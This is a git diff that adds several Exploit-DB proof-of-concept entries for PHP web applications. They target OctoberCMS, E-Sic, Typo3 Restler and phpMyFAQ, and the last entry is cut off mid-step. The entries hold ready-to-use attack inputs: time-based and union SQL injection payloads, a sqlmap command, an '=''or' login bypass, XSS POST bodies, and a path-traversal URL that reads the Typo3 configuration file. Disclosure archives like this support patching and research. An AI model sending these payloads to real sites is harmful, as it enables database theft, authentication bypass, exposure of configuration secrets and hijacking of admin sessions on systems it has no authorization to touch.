www.Ashiyane.ir
diff --git a/platforms/php/webapps/42978.txt b/platforms/php/webapps/42978.txt
new file mode 100755
index 000000000..a36de7209
--- /dev/null
+++ b/platforms/php/webapps/42978.txt
@@ -0,0 +1,44 @@
+# Exploit Title: OctoberCMS 1.0.425 (aka Build 425) Stored XSS
+# Vendor Homepage: https://octobercms.com/
+# Software Link: https://octobercms.com/download
+# Exploit Author: Ishaq Mohammed ( https://www.exploit-db.com/author/?a=9086
+)
+# Contact: https://twitter.com/security_prince
+# Website: https://about.me/security-prince
+# Category: webapps
+# CVE: CVE-2017-15284
+
+1. Description
+
+Cross-Site Scripting exists in OctoberCMS 1.0.425 (aka Build 425), allowing
+a least privileged user to upload an SVG file containing malicious code as
+the Avatar for the profile. When this is opened by the Admin, it causes
+JavaScript execution in the context of the Admin account.
+
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15284
+
+2. Proof of Concept
+
+Steps to Reproduce:
+
+ - Login using a normal user and click on my account.
+ - Click on the avatar.
+ - Upload the malicious .svg file which contains the javascript
+ - Click on save.
+ - Login in another browser with Admin Credentials.
+ - Click on Settings > Administrators.
+ - Select the normal user's avatar and click on Attachment URL.
+
+3. Reference
+
+https://github.com/octobercms/library/commit/3bbbbf3da469f457881b5af902eb0b89b95189a2
+
+4. Solution
+
+The vulnerability will be patched by the vendor in the next release of
+OctoberCMS.
+
+--
+Best Regards,
+Ishaq Mohammed
+https://about.me/security-prince
diff --git a/platforms/php/webapps/42979.txt b/platforms/php/webapps/42979.txt
new file mode 100755
index 000000000..2de1251f9
--- /dev/null
+++ b/platforms/php/webapps/42979.txt
@@ -0,0 +1,19 @@
+# Exploit Title: E-Sic Software livre CMS - Blind SQL Injection
+# Date: 12/10/2017
+# Exploit Author: Guilherme Assmann
+# Vendor Homepage: https://softwarepublico.gov.br/
+# Version: 1.0
+# Tested on: kali linux, windows 7, 8.1, 10 - Firefox
+# Download https://softwarepublico.gov.br/social/e-sic-livre/versoes-estaveis/esiclivre.rar
+More informations: https://k33r0k.wordpress.com/2017/10/12/e-sic-sql-injection/#more-398
+
+The vulnerability is in the search private area of e-sic without authentication
+---------------------------------------------------------------------
+Poc:
+ Url: http://vulnerable/esiclivre/restrito/inc/lkpcep.php?q=1
+
+ Parameter: q (GET)
+
+ Payload: 1' AND (SELECT * FROM (SELECT(SLEEP(5-(IF(ORD(MID((SELECT DISTINCT(HEX(IFNULL(CAST(schema_name AS CHAR),0x20))) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 13,1),11,1))>1,0,5)))))oslN)-- UACx
+
+ sqlmap -v 5 -u "http://localhost/esiclivre/restrito/inc/lkpcep.php?q=1" --level 5 --random-agent --hex --dbs
diff --git a/platforms/php/webapps/42980.txt b/platforms/php/webapps/42980.txt
new file mode 100755
index 000000000..d9ec7091c
--- /dev/null
+++ b/platforms/php/webapps/42980.txt
@@ -0,0 +1,16 @@
+# Exploit Title: E-Sic Software livre CMS - Autentication Bypass#
+Date: 12/10/2017# Exploit Author: Elber Tavares# Vendor Homepage:
+https://softwarepublico.gov.br/# Version: 1.0# Tested on: kali linux,
+windows 7, 8.1, 10 - Firefox# Download
+https://softwarepublico.gov.br/social/e-sic-livre/versoes-estaveis/esiclivre.rar
+More informations:
+http://whiteboyz.xyz/esic-software-publico-autentication-bypass.html
+
+The vulnerability is in the login area of e-sic,
+where we can enter the panel only using some parameters such as
+username and password
+---------------------------------------------------------------------
+PoC:
+Url: http://vulnsite/esic/index/ User: '=''or' Pass: '=''or'
+POST: http://vulnsite/esic/index/index.php
+DATA: login=%27%3D%27%27or%27&password=%27%3D%27%27or%27&btsub=Entrar
diff --git a/platforms/php/webapps/42981.txt b/platforms/php/webapps/42981.txt
new file mode 100755
index 000000000..d91f2c5df
--- /dev/null
+++ b/platforms/php/webapps/42981.txt
@@ -0,0 +1,25 @@
+# Exploit Title: E-Sic Software livre CMS - Sql Injection# Date:
+12/10/2017# Exploit Author: Elber Tavares
+# fireshellsecurity.team/
+# Vendor Homepage: https://softwarepublico.gov.br/# Version: 1.0#
+Tested on: kali linux, windows 7, 8.1, 10 - Firefox# Download
+https://softwarepublico.gov.br/social/e-sic-livre/versoes-estaveis/esiclivre.rar
+More informations:
+
+http://whiteboyz.xyz/esic-software-publico-sql-injection.html
+
+vulnerability is in the password reset parameter of the software,
+where we can send sql parameters and interact directly with the
+database. "Informe seu CPF ou CNPJ para enviarmos nova senha:"
+---------------------------------------------------------------------
+
+Url: http://vulnerablesite/esic/reset/
+
+POST: cpfcnpj=test&btsub=Enviar
+
+Parameter: cpfcnpj (POST)
+ Type: UNION query
+ Title: Generic UNION query (NULL) - 5 columns
+ Payload: cpfcnpj=test' UNION ALL SELECT NULL,NULL,CONCAT(CONCAT
+ ('qbqqq','HMDStbPURehioEoBDmsawJnddTBZoNxMrwIeJWFR'),'qzbpq'),NULL,NULL--
+GJkR&btsub=Enviar
diff --git a/platforms/php/webapps/42982.txt b/platforms/php/webapps/42982.txt
new file mode 100755
index 000000000..7dd0760dd
--- /dev/null
+++ b/platforms/php/webapps/42982.txt
@@ -0,0 +1,36 @@
+# Exploit Title: E-Sic Software livre CMS - Sql Injection
+# Date: 12/10/2017
+# Exploit Author: Elber Tavares
+# fireshellsecurity.team/
+# Vendor Homepage: https://softwarepublico.gov.br/
+# Version: 1.0
+# Tested on: kali linux, windows 7, 8.1, 10 - Firefox
+# Download
+https://softwarepublico.gov.br/social/e-sic-livre/versoes-estaveis/esiclivre.rar
+More informations:
+
+http://whiteboyz.xyz/esic-software-publico-sql-injection.html
+
+Vulnerability is in the zip code search script
+---------------------------------------------------------------------
+
+Url: http://localhost/esiclivre/restrito/inc/buscacep.php
+
+
+DATA:
+
+Parameter: f (POST)
+ Type: boolean-based blind
+ Title: OR boolean-based blind - WHERE or HAVING clause
+ Payload: f=-1932' OR 5987=5987 AND 'dtev'='dtev
+
+ Type: AND/OR time-based blind
+ Title: MySQL >= 5.0.12 OR time-based blind
+ Payload: f=test' OR SLEEP(5) AND 'kucr'='kucr
+
+ Type: UNION query
+ Title: MySQL UNION query (random number) - 6 columns
+ Payload: f=test' UNION ALL SELECT 3344,3344,
+
+CONCAT(0x7162627a71,0x54657946565941494562654c437570647a4f4e53616744546e526663454152424e71506e564d6853,0x71786a6a71),
+ 3344,3344,3344#
diff --git a/platforms/php/webapps/42983.txt b/platforms/php/webapps/42983.txt
new file mode 100755
index 000000000..1e4e84557
--- /dev/null
+++ b/platforms/php/webapps/42983.txt
@@ -0,0 +1,23 @@
+# Exploit Title: E-Sic Software livre CMS - Cross Site Scripting#
+Date: 12/10/2017# Exploit Author: Elber Tavares
+# fireshellsecurity.team/
+# Vendor Homepage: https://softwarepublico.gov.br/# Version: 1.0#
+Tested on: kali linux, windows 7, 8.1, 10 - Firefox# Download
+https://softwarepublico.gov.br/social/e-sic-livre/versoes-estaveis/esiclivre.rar
+More informations:
+http://whiteboyz.xyz/esic-software-publico-xss.html
+
+O XSS está presente na área de cadastro de solicitante,
+onde é possivel injetar códigos pelo input que recebe o nome do usuário
+
+---------------------------------------------------------------------
+
+Url: http://localhost/esic/index/
+
+POST: http://localhost/cadastro/index.php
+DATA:
+DATA: tipopessoa=F&nome=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&
+cpfcnpj=CPFAQUI&idfaixaetaria=&idescolaridade=&profissao=&
+idtipotelefone=&dddtelefone=&telefone=&email=aaaaa%40gmail.com&
+confirmeemail=aaaaa%40gmail.com&idlogradouro=&cep=&logradouro=&bairro=&cidade=&
+uf=&numero=&complemento=&acao=Salvar
diff --git a/platforms/php/webapps/42985.txt b/platforms/php/webapps/42985.txt
new file mode 100755
index 000000000..6d7babe9b
--- /dev/null
+++ b/platforms/php/webapps/42985.txt
@@ -0,0 +1,28 @@
+# Exploit Title: Typo3 Restler Extension - Local File Disclosure
+# Date: 2017-10-13
+# Exploit Author: CrashBandicot @dosperl
+# Vendor Homepage: https://www.aoe.com/
+# Software Link: https://extensions.typo3.org/extension/restler/
+# Tested on : MsWin
+# Version: 1.7.0 (last)
+
+
+# Vulnerability File : getsource.php
+
+3. $file = $_GET['file'];
+13. $text = file_get_contents($file);
+16. die($file . '' . htmlspecialchars($text) . "
");
+
+
+# PoC :
+# http://vuln.site/typo3conf/ext/restler/vendor/luracast/restler/public/examples/resources/getsource.php?file=../../../../../../../LocalConfiguration.php
+
+# https://i.imgur.com/zObmaDD.png
+
+
+# Timeline :
+
+# Vulnerability identified
+# Vendor notified
+# CVE number requested
+# Exploit released
\ No newline at end of file
diff --git a/platforms/php/webapps/42987.txt b/platforms/php/webapps/42987.txt
new file mode 100755
index 000000000..d78e7c80a
--- /dev/null
+++ b/platforms/php/webapps/42987.txt
@@ -0,0 +1,34 @@
+# Exploit Title: phpMyFAQ 2.9.8 Stored XSS
+# Vendor Homepage: http://www.phpmyfaq.de/
+# Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip
+# Exploit Author: Ishaq Mohammed
+# Contact: https://twitter.com/security_prince
+# Website: https://about.me/security-prince
+# Category: webapps
+# CVE: CVE-2017-14619
+
+1. Description
+
+Cross-site scripting (XSS) vulnerability in phpMyFAQ through 2.9.8 allows
+remote attackers to inject arbitrary web script or HTML via the "Title of
+your FAQ" field in the Configuration Module.
+
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14619
+
+2. Proof of Concept
+
+Steps to Reproduce:
+
+ 1. Open the affected link http://localhost/phpmyfaq/admin/?action=config
+ with logged in user with administrator privileges
+ 2. Enter the